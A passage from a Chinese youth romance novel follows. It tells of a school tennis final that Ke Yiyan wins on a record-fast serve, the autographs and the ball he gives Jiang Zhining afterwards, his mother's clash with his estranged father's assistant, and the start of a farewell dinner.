赛场上上演起神仙打架，针锋相对。 完全就像俞杨所说的, 两位少年对彼此太熟悉了, 你能预判我下一步打法，但我也能预判你的预判。 中途, 柯译衍利用大角度斜线球，调动周跃丞在底线位置来回跑动，然后找准时机，出其不意，用假动作放了个无比精彩漂亮的小球。 周跃丞冲过去没接到，还不幸摔了一跤，但他没气馁，迅速从地上爬起来，用左手轻拍着球拍，作势为柯译衍喝彩这一球。 然后，他转头就在下一分里不甘示弱，挑衅地给柯译衍回出一记同样精彩的小球。 占子杰看热闹不嫌事大，长长“wow！”了一声，嬉皮笑脸鼓掌道：“哈哈哈，丞哥这是下马威啊！” 中途交换场地，擦肩而过的时候，柯译衍侧目看向周跃丞，唇角微挑，悠悠笑说：“可以啊。” “像衍神学习咯～” 周跃丞扬眉，懒洋洋甩动着手腕，吊儿郎当地回了句。 时间一分一秒过去，两个人打得很凶，都是每球必争的强势态度，所以比分咬的很紧，根本预判不出谁输谁赢。 先是柯译衍领先，下一局又被周跃丞扳回、超越，紧接着柯译衍追回比分，再度超越周跃丞 如此反复着。 赛况胶着，少年们奋力挥拍的目光越发如鹰眼般专注，精神高度集中。 脸上的汗水滚滚流淌至下巴，滴向灼热地面，瞬间蒸发消失，敏捷滑步中，球鞋不断在球场上摩擦出尖锐滋滋声响。 比赛精彩纷呈，进入白热化阶段，观众情绪被感染得更加激动上头。 他们呼声震天。 他们举臂助威。 他们挥舞校旗。 他们掀起人浪。 姜织宁凝视着赛场，整个人沉浸在激烈胶着的赛况中，时不时屏住呼吸，一颗心被比分紧张牵动着，七上八下。 裁判：“Game周，周leads 6-5，Second set。” 裁判：“30-30。” 裁判：“40-30。” 裁判：“Deuce。” 裁判：“Advantage柯。” 裁判：“Game柯，6 games all，Second set。” 第二盘比赛末尾，周跃丞建立起6-5的领先优势，最后不幸被柯译衍用两记反手边线直线球破掉，至此，比分被柯译衍追成6-6！ 裁判：“Tie break。” 由于两人打成了平手，所以接下来，将进入紧张刺激的抢七环节。 姜织宁屏住的呼吸暂时放松。 俞杨拍掌大笑：“哈哈哈哈哈，抢七来了！这两人居然能打出抢七局，精彩精彩！！！” 周静瑶好奇问姜织宁：“抢七是什么意思啊？” 姜织宁解释：“tie-break就是抢七局的意思，抢七局里每个球计一分，谁先拿到七分且净胜两分，这盘比赛就谁赢。” 周静瑶：“那没有净胜两分的话，就一直这样比下去？” 姜织宁点头：“规则上是这样。” 周静瑶感叹：“这也太刺激了吧！” 周跃丞完全没想到第二盘能打到抢七局，按照之前的势头，他以为这盘稳赢了。 哪知道，今天柯译衍的状态出奇得好，球技和心态方面找不出半点漏洞。 正常来说，像他们这种专业打网球的球员，必须按照计划训练，定期参赛，才能保持住状态，柯译衍都这么久没打正经比赛了，也没保持体能训练，居然还能把落后比分扳回来？ 周跃丞内心很震惊，这人也太神了吧！ 抢七局，直接关乎到周跃丞今天这场决赛的输赢。 喝完水，拿毛巾擦了擦汗，周跃丞迅速调整好心态，打起十二分精神，拿着球拍回到赛场。 先拿到七分，且净胜两分的球员就能赢下抢七局，柯译衍和周跃丞双双战斗力拉满，都很强势，都不服输。 裁判：“5-6，周。” 裁判：“8-7，柯。” 裁判：“9-9。” 裁判：“13-14，周。” 裁判：“14-14。” 抢七局里的比分持续增长，完全没有停止的迹象，赛况看得人既紧张，又焦急。 万幸的是，尽管柯译衍球风强势霸道，并且最后一球被线审高声呼报了Out，但周跃丞仍然坚信球没出界，他毫不犹豫地向裁判申请了鹰眼挑战。 确认过回放画面后，裁判将界外改判成界内。 裁判：“Game and second set周，7 games to 6。” 界内！ 赢了！ 周跃丞身体已经累到不行，此刻心脏砰砰狂跳，听完裁判呼报后，他气喘吁吁低下头，弓背弯腰，握紧球拍，纵情大吼了一声。 球迷们随之站起来，扯着嗓门为他呐喊助威。 至此，足足打了一个多小时的第二盘比赛，终于在此时此刻分出胜负。 周跃丞拼尽全力连赢两分，最终以18-16的比分，险险拿下第二盘胜利，没有抱蛋回家。 周跃丞汗水狂流不止，柯译衍也没好到哪里去。 毕竟感冒确实影响状态，身体松懈下来，柯译衍沉沉喘了几口气，拿着球拍走向球员座位，脸上没什么表情，情绪依然冷静稳定。 周静瑶摸着手臂，惊诧说：“我天，抢七局打到18-16！看他们你一分我一分的，我鸡皮疙瘩都起来了！那个周跃丞内心也挺强大的，本来都快输了，硬生生从柯译衍手里抢走两分！” 姜织宁并不是周跃丞的支持者，但也挺感慨，感慨两位少年在比赛中呈现出的那股坚韧拼搏劲和强大的意志力。 两盘比赛，没有教练指导，独自上场打了两个小时，每次中场休息都很短暂，可以说是几乎不停歇地打了两个小时。 她光是坐这么久都觉得累了，更别说顶着大太阳，在赛场上不停挥洒汗水的少年们。 俞杨也是一副震惊瞪大眼模样，完全没想到周跃丞能顶住压力，逆风翻盘！ 他不禁佩服鼓起掌来，偏头对占子杰说：“丞哥可以啊！还以为他要输了，结果抢七又赢了！你给我说实话，丞哥这次偷偷报名参加校网球联赛，是不是因为私心，他想和衍神再正式比一场？” 没记错的话，他记得之前周跃丞在柯译衍手下连败了好几回。 后来，周跃丞飞去西班牙训练了一段时间，训练期间，周跃丞主动和柯译衍约赛，柯译衍答应了，结果还没等来比赛，就突然收到柯译衍放弃网球的消息。 “差不多吧。”占子杰笑眯眯回，“毕竟是执念啊。” “我就知道！”俞杨哼声，“你们这帮人，心眼坏得很！” 俞杨吐槽完，看向姜织宁说：“丞哥现在青少年世界排名前三，但他整体实力稍弱于衍神，也还没拿过大满贯青少年冠军。两人在赛场上的胜负率大概是3-7吧，丞哥3，衍神7。你别看现在1-1打了个平手，下一轮决胜盘绝对衍神赢，衍神今天状态明显特别好！” “是吗？”姜织宁想了想，半信半疑地说，“你是不是忘了柯译衍的bug。” 俞杨不解：“bug？” 姜织宁：“他感冒了，这么高强度的对抗运动，他身体能撑这么久吗？” 俞杨被这么一提醒，表情顿时严肃起来。 姜织宁安静看着俞杨，对视三秒后，俞杨机智懂了，会意说：“我下去问问衍神身体怎么样，有没有不舒服。” 没过多久，俞杨速度跑回来，汇报道：“衍神说除了有点鼻塞，其他没事，刚医生也去看过了。” 姜织宁点了点头。 这时，占子杰慢吞吞起身，走向过道。 “你干嘛去？”俞杨奇怪问。 占子杰：“受你启发，我也下去看看丞哥啊。” 俞杨神情警惕：“你看什么看，丞哥又没感冒，比赛期间不允许场外指导的啊，你可别违规！” 占子杰无语地翻了个白眼：“谁要场外指导了，我又不是教练，我只是去关心下丞哥的身体好吗。” 俞杨立马说：“那我跟你一起去，监督你。” “你说，丞哥听到这话会不会伤心？”占子杰摇头叹了口气，故意逗他说，“行，你跟我一起过去，等会儿到他面前，你把刚才的话重复一遍。” 俞杨脸色犹豫，觉得理亏，不敢起身。 姜织宁突然开口：“俞杨。” “啊？” 她从容提醒：“你是江中的学生。” 俞杨心说，然后呢？ 姜织宁微微一笑：“下去，别怕。” “……” 占子杰一愣，尴尬摸了摸鼻尖，他就说着玩的，怎么宁王还当真了呢。 有姜织宁撑腰，俞杨豁然开朗，顿时底气大增。 是啊，他是江中的学生，是柯译衍阵营的人，他得尊重赛场，私人感情先放一边。 想到这，俞杨昂首挺胸站起来，冲占子杰说：“走呗！” 占子杰：“” 第56章 那颗心为他疯狂跳动着 裁判：“Time！” 裁判：“Final set。” 一声令下, 盘间休息结束，最后一轮决胜盘比赛开始。 如果说，第二盘比赛是酣畅淋漓, 双方拼尽全力的一战，那么最后一盘就打得有点不可思议了。 指的是周跃丞。 状态起伏太大, 比赛期间频繁出现非受迫性失误，接连主动送分给柯译衍, 到后面，自己都给自己打笑了。 俞杨看出周跃丞的不稳定, 摇头评价：“太急躁了啊, 看来丞哥的心态还是没衍神稳定。” “执念作祟呗。”占子杰抱臂说, “求胜心切，毕竟最后一盘, 他太想赢柯译衍了。 赛程过半，艾彤预感到周跃丞要输, 长长叹了声：“心态不稳是大忌啊。” 心态这个东西就很复杂，运动员在赛场上不能不自信, 也不能太自信。 在赛场上，要具备一定会赢的坚定信念, 但又不能过度, 过度就会适得其反, 随之产生接受不了自己一丁点失误的负面心理状态。 紧接着, 情绪会因为失误起伏，跟过山车一样, 当然, 有的人能在情绪起伏中突然觉醒重启，有的人则无法自我调节过来, 最后心态崩盘，彻底输掉比赛。 在网球比赛中，就连久经沙场的名将们都会经常受困于心魔，在赛场上疯狂摔拍发泄，更别说还在成长期的青少年球员了。 所以有时候，往往球技不是最重要的，心态才是。 能战胜自我的人，才是真王者。 在外人眼里可能不太理解，只会觉得好奇怪，明明不久前周跃丞还状态拉满，打得很不错，怎么就突然状态下滑了？ 这不是莫名其妙吗。 而俞杨就很感同身受了。 他从小就想象力格外丰富，正因为想太多，所以每次参加大型网球赛事他就容易心态不稳定，时不时内心崩盘。 俞杨惋惜叹了口气，对姜织宁说：“像丞哥这种不稳定就是我们网球人的常态，其实起起伏伏很正常，谁也无法保证一直赢下去。” “网球运动挺特殊的，不仅强度大，比赛时间也长，短的话，一个小时结束，长的嘛，有可能四五个小时才能分出胜负，打完比赛人几乎累麻。” “像职业网坛还不允许教练场外指导，那单打球员真的就是独自上场，没队友，没教练，孤军奋战打几个小时，压力巨大，特别考验球员的心态和意志力。” “丞哥的心理调节能力已经很牛了，只不过他对衍神有执念嘛，这种执念就很搞人心态，两人非要比起来的话，那肯定是衍神的心态更牛！” “是吗？”姜织宁微笑了笑。 俞杨点头如捣蒜：“绝对的！衍神有个大心脏，内核特别冷静稳定，打起比赛来简直和外挂一样，稳如老狗说得就是他！衍神不仅独自上场，还经常独自参加比赛，从小就这样，超级神！” 稳如老狗是什么鬼啊 姜织宁忍不住笑出声。 …… 赛场上，几乎是一边倒的优势，柯译衍稳稳掌控着局势，猛力挥拍拿下一分又一分。 打到后面，周跃丞的体力几乎透支，移动开始跟不上了，加上他反手比正手弱，柯译衍紧盯着他的反手进攻，最后导致周跃丞连输两局。 裁判：“Game柯，柯leads 5-2。” 周跃丞叉腰望着打出界的球，神情很无奈，知道已经拼尽全力了，却仍然止不住地对自己失望摇头。 最后一局。 裁判：“30-15。” 裁判：“30-30。” 裁判：“40-30。” 最后一分！ 柯译衍手握赛点，距离冠军一步之遥！ 观众默契地集体起立。 周静瑶睁大眼，激动问：“是不是柯译衍再拿一分就赢了？” “没错，冠军点！” 姜织宁凝视着少年，情不自禁攥紧手中的渔夫帽，无声为他加油。 全场寂静，此时此刻，所有人的目光全都聚焦在柯译衍身上。 烈日之下，下巴上的汗水不断坠落，耳边只剩下沉闷的呼吸声。 柯译衍目无情绪抬起眼，望向看台上迎风飘扬的江中校旗，热血沸腾的同学，特意赶来为他加油的球迷，最终，目光落到球场对面的周跃丞。 这一刻，那颗不知道自我放逐了多久，任其沉没在黑色海底的冰冷心脏，突然被一股巨大的金色暖流裹挟，牵引着心海掀起汹涌波涛。 说不清，道不明。 很奇怪，只是一次很普通的校园活动而已，却莫名的，让他不自觉发挥出昔日在国外比赛时的那股拼搏劲。 在国外打比赛时，观众席里的中国人并不多，一声中文的“加油！”便显得弥足珍贵，格外给人力量。 这份说不清、道不明的复杂情绪，随着时间逐渐扩散，在决赛这天到达巅峰，变得鼓鼓胀胀，充斥满他的胸腔。 从年初澳网青少年赛爆冷出局至今，在这段感知不到时间流逝，无比漫长的自我放逐时光里，柯译衍第一次感受到久违的力量，第一次没那么厌恶网球。 他忽然意识到，这场决赛，并不是为了完成任务的赢。 而是他发自内心的——想赢！ 他站在炽热的，阔别已久的赛场上，他不想输，他想赢！ 发球之前，柯译衍下意识看向教练席。 依然如此，不是他思念的人。 那里并没有他的网球教练Peter，哪怕是幻觉也没有出现。 失落感转瞬即逝，柯译衍闭了闭眼，缓慢深呼吸，平复情绪，冷静收回目光。 仰头，将网球抛向空中。 与此同时，引拍，屈膝弓背蓄力，在球下降的瞬间，身体如闪电般迅猛跃起。 球拍击向网球，沉闷的“嘭！”一声，黄色小球挟裹着少年强烈的信念，破空划出一道凌厉抛物线，气势猛烈地砸向外角边线。 一记ACE球！ 球速电子屏实时显示，发球时速——240km/小时！ 什么概念？ 每秒67米的恐怖飞行速度！ 是即便放到职业网坛里，也会被媒体大肆宣传报道的恐怖发球时速！ 周跃丞不可能接到。 裁判似乎也被少年骇人的发球时速惊叹到，停顿了好几秒，才猛然反应过来，高声呼报决赛结果。 “Game Set Match柯，2 sets to 1，6-4、6-7、6-2！” 决赛结束。 2-1，柯译衍赢了！ “wow！！！！！！” “啊啊啊啊啊啊啊！赢了！衍神赢了！！！” “江中太厉害了！！！！！！” “校网球联赛单打冠军——柯！译！衍！” “我们江中是！全！国！冠！军！！！” “啊啊啊啊啊！江中网球队太牛啦！！！！” 激动人心的时刻，观众席瞬间爆发出震耳欲聋的掌声和欢呼声。 有人捂住嘴巴，热泪盈眶。 有人激动抱在一起，兴奋落泪。 有人振臂疯吼，嗓子都喊哑了。 耳边人声鼎沸，热风迎面吹扬起姜织宁的发梢，校服裙摆肆意荡漾，她震颤的胸腔炽热如骄阳，那颗热烈沸腾的心为柯译衍疯狂跳动着。 撕心裂肺的尽情呐喊，一致对外的集体荣誉感，浑身永远使不完的蓬勃朝气……姜织宁目光灼灼，笑望着周围一幕幕生机勃勃，鲜活绚烂的画面。 这就是，热血疯狂的青春吧。 身为江中学子，这会儿也顾不上什么形象不形象了，姜织宁站在炙热的阳光里，将双手放到唇边，和周围同学保持队形，一起笑着冲赛场肆意呐喊—— “衍神太棒了！！！” 占子杰和艾彤这帮人到底是专业的，早已预料到柯译衍会赢，相比较拿下冠军，他们显然更震惊柯译衍最后一球的发球时速。 他们起身瞪着赛场上的球速显示屏，瞠目结舌，表情呆滞，话都说不出来了。 占子杰反复揉眼睛，确认自己没出现幻觉后，直接被吓得心脏不稳，平地惊雷，大喊数声：“卧槽！卧槽！卧槽！！！” 朋友们被他喊得惊醒回魂，连忙拿出手机拍照留念。 “绝了！绝了！绝了！大饱眼福！今天真是大饱眼福啊！！！” “我天，是不是疯了？？？衍神这球速怎么打出来的啊，都快破世界纪录了吧！” “我还以为自己眼瞎出现幻觉，没想到是真的” “发球240km/小时，这也太牛逼了！！！ “恐怖如斯，炸裂！柯译衍他还是人吗？？？他是bug啊！！！” “他绝对是bug！快一年没打球的人，不仅状态全程在线，和以前毫无差别，最后还来了个接近世界纪录的漂亮ACE球收尾，这不是bug是什么啊？！” “网坛最快发球世界记录是多少来着？有没有谁记得啊？” “不是时速250就是260左右。” “这爆发力，重炮发球真的太可怕了” “所以你们发朋友圈没？这要是发出去，手机绝对会炸。” 占子杰发完朋友圈，手机塞进裤兜里，然后眼神同情看向俞杨，他满脸心疼地说：“杨仔啊，你辛苦了！衍神转学过来的这段时间，你没挨过他揍吧？” “没啊。”俞杨天真摇头。 “真的吗，快让爸爸看看你！”占子杰拉住他手臂，认真叮嘱道，“妈呀，爸爸今天算是开眼了，好心提醒你啊，以后千万要对衍神尊敬点，万一惹他不高兴了，他这一拍挥下去，没控制好力道，绝对把你锤成智障！” 俞杨猛翻白眼，破口大骂：“爸爸你个毛线！孙子滚啊，少和你爷爷拉拉扯扯！！！” 球场上。 除了球速屏里实时显示的直观数据，周跃丞作为接球方，自然是感受最明显的人，他明显察觉到，最后那个球的力量感和速度感非比寻常。 他扭头一看，果然如此！ 居然达到了240km/小时！ 周跃丞当场滞住，不可置信回头看向柯译衍。 柯译衍早已走到球网位置等待握手，周跃丞气喘吁吁直起身，慢吞吞走向网前。 今天这场决赛总共打了三个小时左右，虽然输了，却是一场酣畅淋漓的对决。 周跃丞输得心服口服。 握手时，他斜睨着柯译衍，笑骂了句：“妈的，打这么好！还不赶紧回来！” 柯译衍愣了愣，勾唇笑起来。 口袋里还有一个没派上用场的网球，和裁判握完手，转身走向球员座位的路上，柯译衍一时兴起，突然在半路止步，从裤袋里拿出那颗网球。 他抬眼望向观众席，目光环顾中迅速寻到姜织宁所在的位置，他计算好角度，控制住力道，抛球挥拍，把这一个象征庆祝意义的网球打向她。 突如其来的举动，满场哗然。 网球在明艳阳光中划出一道高高的弧度，匀速朝着看台方向飞去。 看台上的人们纷纷仰头追随着空中的网球，都想看看是谁那么幸运，能接住冠军特意送来的好运。 有人仰头看热闹，有人害怕躲闪，还有不少人使劲垫起脚尖，争先恐后去抢球。 姜织宁都没反应过来，一转眼，就看到黄色小球直直飞向身前。 怔忡之际，她出于本能地伸出双手，下意识接住这个只为她而来的网球。 全场瞩目，一瞬间，无数道羡慕视线汇聚到姜织宁身上。 “哇，你抓住了冠军送来的好运哎！” 周静瑶激动摇晃着姜织宁手臂，那兴奋语气，仿佛她才是那个抓住幸运的人。 姜织宁安静望着手里的网球，清晰听见了自己砰砰震颤的心跳再次变得剧烈，横冲直撞，一下又一下。 她翘起唇角，眼眸凝聚起明亮光芒，抬眼看向赛场上的少年。 目光交汇之际，柯译衍勾唇望着她，意气飞扬笑起来。 与此同时，数名校网球队队员不打一声招呼，激动跑进赛场，热情张开双臂，吱哇乱叫冲向柯译衍，纷纷用力抱住他。 被迫面对热情过头的一帮人，柯译衍显然不太习惯，脸上露出几分无奈神情。 没走几步路，旁边忽然传来几道稚嫩嗓音。 “哥哥！” “柯译衍哥哥！” 柯译衍扭头望去。 是几名小学生和初中生，比赛结束后，特意跑来看台第一排等他。 一名穿白色衣服的小男孩左手扒着栏杆，使劲踮起脚尖，对柯译衍伸出拿着网球的右手。 小男孩的情绪特别激动，以至于话都说不利索了：“哥、哥哥哥哥！可以帮、帮我签个名吗？你是我的超级偶像！哥哥我会永远支持你的！” 其他小朋友见状，争先恐后，拼命朝柯译衍递出网球、棒球帽、本子。 “哥哥，我也要签名！” “哥哥，我是你的小粉丝，给我签一个好吗？” “哥哥我特别特别喜欢你，你打球真的好帅好酷啊！” “哥哥，我在国外看过你的比赛，你打得真好！希望我以后在赛场上能像你一样厉害！” “哥哥哥哥” 面对一双双期盼的大眼睛，柯译衍神色平静，并没有配合走过去，他已经不打网球了，自认为不再适合给别人签名。 可对方又是一群小朋友，直言拒绝的话就有点难以出口，冷酷少年罕见犯了难，琢磨着应该怎么说，才能把拒绝说得委婉点。 小男孩的妈妈就站在一旁，察觉到柯译衍陷入为难，立马猜到他在顾虑什么。 由于自家小孩是柯译衍的忠实粉丝，因此女人也会一起关注柯译衍的动态，她很清楚少年在温网青少年赛之后发生的一系列变故，也看过后援会里的那些谩骂攻击。 因为为人母，所以女人是有点心疼柯译衍的。 后援会里那群披着粉丝外皮的网络喷子，怎么可以用如此恶毒的话，去攻击一个未成年少年？ 无论少年今后还打不打网球了，都不应该否认他曾经创造的辉煌成绩，旁观者清，其实那群“粉丝”并不喜欢柯译衍，他们只是喜欢冠军。 眼看柯译衍没有直接拒绝，女人想了想，然后语气温和地喊了他一声。 柯译衍犹豫几秒，抬脚走过去。 女人微笑着请求：“如果方便的话，能不能请你给我家小孩签个名？晨晨真的特别喜欢你，好几年前，他在西班牙看了场你的比赛，回国之后，晨晨就和我说他也想学网球。你的比赛他几乎都会去现场支持，去年的法网青少年赛，他也到场为你加油了。” 她接着说：“本来温网青少年赛我们也要去的，签证都办好了，结果临走前晨晨不小心摔伤，最后没去成，他在病房里哭了好久，就是因为不能去现场支持你。” “晨晨内向，胆子小，从来不敢亲自问你要签名，今天是他第一次鼓起勇气，我没有别的意思，晨晨就是单纯喜欢你，特别喜欢，希望你不要有心理负担。” 女人的语气很温柔，说的话也十分诚恳，柯译衍一言不发听完，实在想不出拒绝的理由。 柯译衍看向小男孩，对方眼巴巴盯着他，无言对视三秒后，他心软轻叹了声，开口说：“有笔吗？” “有！！！！！！！！” 一群小朋友异口同声，像是课堂上被点到名，集体冲他举起手中的笔。 柯译衍被这阵仗弄得愣住，唇角情不自禁勾起浅浅的弧度。 事实证明，签名这种事就不能开始，一旦开始就不能偏心，周围等待签名的人如同潮水般涌向柯译衍，姜织宁安静站在旁边，耐心等他签完。 柯译衍签完名，把笔还给小男孩，刚要转身，就听见姜织宁扬声喊他名字。 他抬眸侧目，只见少女唇角含笑注视着他，双手交叠于背后，慢悠悠朝他走来。 一直走到栏杆前，姜织宁才舍得露出藏在背后的手，手里拿着那个柯译衍特意送给她的网球。 她笑眯眯低头，把网球递给他，见状，柯译衍挑了挑眉。 姜织宁笑道：“给我签名。” 怕他不信，她特意补了句：“没开玩笑，是真的想要冠军的亲笔签名，你都给那么多人签了，可不能偏心啊。” 柯译衍抿着唇，表情有些无奈。 少女凝视他的眼眸格外明亮，盛满了璀璨星星，语气也很认真，不像是说笑。 没办法，柯译衍无奈叹了声，只能依言照做。 看台的位置要比球场高出一截，见柯译衍主动伸出手，姜织宁左手扶紧栏杆，身体最大程度向前倾，把网球递给他。 柯译衍低头在网球上认真签好名，把球还她。 姜织宁在艳阳下高举起网球，璀璨耀眼的阳光给手里的网球镀了层金色光芒，熠熠生辉。 她仔细端详他的签名，眉眼弯弯地说：“冠军亲笔签名哎，我要拿回家好好收藏。” 柯译衍笑了笑，淡声说：“友谊赛而已。” “是吗？”姜织宁侧目望向他，真诚坦率，毫不吝啬地献上赞美之词，“可是我觉得你很厉害啊，不管是什么级别的比赛，对我而言，它就是很珍贵。” 珍贵？ 柯译衍怔了怔。 姜织宁放下手，把网球收好，笑着对他说：“作为双A组一员，与有荣焉嘛。” 第57章 美女之间的较量？ 柯卉芸眼眶泛红, 逐渐湿润。 她的目光紧紧追随着柯译衍的身影，亲眼见证他拿下网球联赛冠军，见证他被同学们围绕着庆祝。 年初那边澳网青少年赛失利不久后, 柯译衍亲口对她说，以后不会再打网球。 她完全没想到, 能有一天看到儿子再次拿起球拍，重新站在赛场上。 今天现场有这么多的人为他加油, 他不负众望，打得如此出色。 柯卉芸抬手轻抹眼角处的泪水, 伤感看向亲弟弟柯绍之, 哽咽说：“译衍是不是想重回赛场了？” “没有, 译衍在家里说过，他只是代替校队里受伤的同学上场。”柯绍之揽住女人肩膀, 轻拍了拍，温和安慰说, “姐，这只是一场学校比赛, 别想太多了。” 柯卉芸：“如果译衍改变主意，想重新捡起网球” 柯绍之打断她：“那他肯定会主动告诉我们, 别给他太多压力, 他自己能想清楚。” 柯卉芸含泪点头：“我知道, 译衍从小就独立懂事, 我肯定会尊重他的选择。” 本想亲自对柯译衍说一声恭喜，但今天是年轻人欢聚的主场, 她不想破坏气氛, 破坏儿子心情。 看完颁奖典礼后，柯卉芸一行人没有久留, 低调起身离开。 柯卉芸走下通道，忽然在球场大门口停下脚步，她目光锐利斜向身穿深蓝Polo衫，站在大门边上的年轻男人。 男人一直注视着不远处和同学说笑的柯译衍，耐心等待少年出来。 此时，他察觉到柯卉芸冷冷盯着他，也没躲，毫不遮掩地侧目看向她，微微一笑，礼貌打了声招呼。 “好久不见，柯小姐。” 年轻男人是柯卉芸的前夫，柯译衍亲生父亲时征的助理。 柯卉芸早就注意到了他的存在。 这人就坐在看台前排，刚才比赛的时候，他经常举起手机对着柯译衍录视频，一看就是要拿视频回去交差。 前夫这帮人，真是阴魂不散！ 不等柯卉芸开口质问，男人抢先一步，主动走上前，笑着说：“恭喜柯小姐，恭喜译衍拿下网球联赛冠军。” 柯绍之看不惯男人一副假惺惺做派，不悦冷哼，欲走上前骂人，柯卉芸为母则刚，及时抬手拦住他，眼神示意让她来解决。 柯卉芸低气压走到男人面前，冷眼盯着他：“时征这烂人又想对译衍做什么？” 男人笑了笑，和声说：“柯小姐您误会了，时总是译衍的亲生父亲，不可能对他做出任何不利的事。只是偶然间，时总听说译衍要参加网球比赛，他很关心，所以特意派我过来看看。” “你们消息倒是灵通，很关心？” 柯卉芸彷佛听到天大的笑话般，冷笑了好几声，说：“既然很关心，他怎么不自己来？怎么，不敢亲自面对儿子啊？” “哦，也是，毕竟是抛弃亲生儿子的人，怎么有脸见译衍，他真是心不死，难道之前见面的教训还不够吗？” 男人也不生气，跟个机器人似的，依然微笑着，心态稳定得很。 他微笑解释：“时总最近忙” 柯卉芸面无表情打断他，讽刺说：“他确实忙，忙着争夺家产，忙着和刚成年的小女友到处旅游，哪有时间想起父子情！” 男人笑着换了个话题。 “柯小姐，时总确实很关心译衍，否则也不会多次派我回国探望，时总知道译衍在网球上的天赋，是真心有意栽培。” 一牵扯到柯译衍，柯卉芸就克制不住脾气。 她发火骂道：“到底是关心儿子，还是利用儿子，以为我看不出来吗！时征还想把我当成傻子吗！时征是不是得了老年痴呆症，他忘了年初译衍在墨尔本拒绝过他？！” “柯小姐，您先冷静。” 男人平静说：“译衍确实说过放弃网球，以后不会转职业的话，可是今天，我们还是看到了他重新拿起网球拍，重新站到赛场上，而且状态前所未有得好，这是一个好迹象不是吗？说明在他心里，并没有真正放弃网球。” “这只是学校里的正常活动！”柯卉芸斥道。 男人坚持说：“柯小姐，年轻人是需要引导的，尤其是未成年人，失利和意外是赛场上常有的事，人处于低谷期，说出放弃的话也很正常，但做家长的，不能和孩子一样胡闹任性。” “所以，时总还是坚持这个态度，为了译衍的前途，让他尽早回到时家，转国籍，去国外生活训练。” “我们会给译衍配备最好的资源和团队，帮助他今后在职业网坛上一帆风顺，我相信对于译衍来说，这也是最好的选择。” “柯小姐，天才不应该被埋没。” “你算个什么东西？用的着你来教我怎么做家长？！” 柯卉芸气得浑身发抖。 她猛地逼近男人，眼风狠厉警告：“你回去告诉时征，译衍以后打不打网球，只能由他自己做决定，谁也不允许强迫他！你让时征趁早死了这条心，译衍是不会跟他回时家的！他对时家没有任何兴趣！” “时征不要脸，利益熏心，混账东西，家族中永远扶不上墙的烂泥，一辈子只会吃喝玩乐玩女人！自己没什么本事，为了多抢点家产，就敢把主意打到亲儿子头上！” “以前抛弃儿子，呵，现在倒是想起儿子的好了？时征他还是人吗？他要是再敢为了私欲，在背后对译衍搞出小动作，我柯卉芸饶不了他！” “你给我滚！！！” 原本男人想等比赛结束后，找个机会和柯译衍聊一聊，好好传达老板时总的想法。 年初的时候，他的老板时征在墨尔本见过柯译衍一面，他也陪伴在场。 他亲眼看到，父子俩见面后闹得很不愉快，当时柯译衍不留半分情面，直接在时征面前把网球拍摔烂，面无表情撂下一句狠话就走了。 没过多久，他们便得知柯译衍回国后迅速办理了转学手续，彻底放弃网球。 柯卉芸的态度很强势，眼看这会儿无法接近柯译衍，男人只能暂时离开，再寻机会。 …… 颁奖典礼结束后，本届全国中学生网球联赛正式落下帷幕。 周跃丞他们都是明天的飞机，比赛结束，自然各回各自的城市。 天南地北的一帮人，都明白越长大越不容易见面，要不是因为有这次的网球联赛，大家也没机会碰在一起。 不知道下次什么时候再见面，所以比赛结束后，他们和柯译衍商量着晚上去哪儿吃离别饭。 人挺多，肯定得定包厢，运动员又不能在外面乱吃，柯译衍直接给久悸那边打了个电话，利落定好包厢和吃饭时间。 事情办妥，按灭手机，柯译衍走到姜织宁面前，问她：“等会儿晚饭有安排吗？” 今天是周五，姜织宁回家吃饭，暂时没其他安排，便摇了摇头。 柯译衍下巴指了下假模假样，不经意等在旁边，却时不时往这边偷瞄的球友们，邀请说：“我们要去久悸吃晚饭，有空的话，想不想一起去？” 其实是占子杰那几个人怂恿柯译衍过来邀请姜织宁，还找各种借口，说什么双A组缺一不可，他们不敢亲自问姜织宁。 这几天比赛下来，姜织宁也算认识了柯译衍的朋友，挺善良热情的一帮人，对他们印象还不错，于是没多想，干脆答应：“好啊。” 接着，柯译衍扭头看向周静瑶，问：“周导有空么，一起？” “我？”周静瑶愣了愣，抬起手，指尖朝向自己，“我也一起？” 柯译衍笑了笑：“嗯，他们说你拍照厉害，想交个朋友。” 周静瑶摄影技术不赖，比赛期间，她拍出了不少被球员视为神图的照片，所以在这帮人的心中地位颇高。 用他们的原话来说，就是—— 我靠，原来我长这么帅啊！ “啊哈哈哈哈！”周静瑶很满意这个解释，得意洋洋笑起来，“可以可以，我最喜欢蹭饭了！” 柯译衍和周跃丞刚打完球，一身黏腻汗水，随身东西也很多，两人先回去洗澡放东西，其他几人稍作收拾后，跟随俞杨，直接从球场打车去餐厅。 距离不算太远，也难得没碰上晚高峰堵车，正常时间之内便到了久悸。 柯译衍预定的包厢宽敞明亮，景色宜人，占子杰从进门就开始打量，一边好奇到处看，一边夸道：“哟，不愧是衍神啊，出手就是阔绰！” 没过多久，石莜也来了。 她原本计划决赛当天来现场为柯译衍加油，可惜恰逢学校里有重要活动，她是主持人，老师不允许她请假。 下午快放学那会儿，她偶然刷到俞杨在朋友圈发了条晚上聚餐的动态，她眼睛一亮，立马给俞杨弹去信息，问他有没有多余位置。 受到柯译衍的影响，石莜从小就学网球，所以她也认识这群球友，况且过来吃饭不算什么大事，俞杨就没询问柯译衍，直接自作主张同意了。 柯译衍很少去久悸，这回难得主动带朋友们过来，餐厅经理接到预定电话后，立马把消息转告给久悸的小老板周平清，周平清知道后，当即让经理给柯译衍换了个更好的包厢。 柯译衍和他母亲柯卉芸的关系一般般，但不管怎么样，他心底依然希望母亲能够幸福。 一个人到底是不是真心爱另一个人，旁观者清。 周平清为人和善，这么多年相处，他对柯卉芸温柔又体贴，不仅一步一步带她走出离婚阴霾，还帮助她拥有了自己的事业，是真心爱她。 所以，柯译衍对这位不出意外，将来某天会成为他后爸的周叔叔并没有排斥心理。 两人在走廊碰上，周平清主动叫住柯译衍，笑着关心了一会儿。 聊完后，柯译衍走向包厢。 人都到齐了，进门时，他下意识率先看向姜织宁。 姜织宁随便挑了个临近窗户，能看风景的座位，她左手边的位子还空着，也没人敢坐过去，似乎都默认，那个位子专属于双A组的另一位。 柯译衍没看其他空位一眼，自然而然地走到姜织宁身边坐下。 他刚洗完澡，随意套了件黑色圆领宽松卫衣，身上有一股纯净冷调气息，是姜织宁很喜欢的冷感味道。 闻着淡淡的，很纯净，仿佛将人带到了一片雨后初霁，氤氲着水汽和大片冷雾的广袤森林。 